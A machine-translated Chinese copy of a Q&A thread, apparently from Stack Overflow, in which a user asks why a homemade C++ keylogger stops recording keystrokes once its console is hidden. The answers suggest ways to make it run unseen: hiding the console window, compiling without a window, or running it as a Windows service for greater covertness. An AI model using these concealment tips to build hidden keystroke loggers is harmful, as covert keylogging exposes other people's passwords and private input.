键盘记录器不会在没有控制台的情况下记录键击

时间:2013-11-07 03:10:45

标签: c++ logging hwnd keylogger findwindow

我用C ++创建了一个小的基本键记录器。出于某种原因,当我在显示控制台的情况下编译和运行程序时,它将记录我在我使用的任何程序(例如浏览器)中创建的每个按键,并将其存储在文本文件中。然而,当我这样做它不会显示一个控制台窗口时,它不会记录任何东西,它只是在后台无所事事的过程。以下是我的代码的链接:http://pastebin.com/4wqQyLJ9 隐藏控制台给我带来麻烦的功能是Stealth()函数。任何建议,提示或提示都会有所帮助。

3 个答案:

答案 0 :(得分:2)

使用此功能,它对我很有用。

  ShowWindow(GetConsoleWindow(), SW_HIDE);

答案 1 :(得分:1)

而不是在程序启动后隐藏窗口,我没有解决这个问题 有一个窗口开始。使用-mwindows进行编译,而不是窗口 程序启动时创建。

Example

答案 2 :(得分:0)

如果您不需要UI,我会考虑使用Windows服务进行此类操作。如果需要,使用GetAsyncKeyState也可以更隐蔽。这个C ++源代码可能有用......

Windows Service Keylogger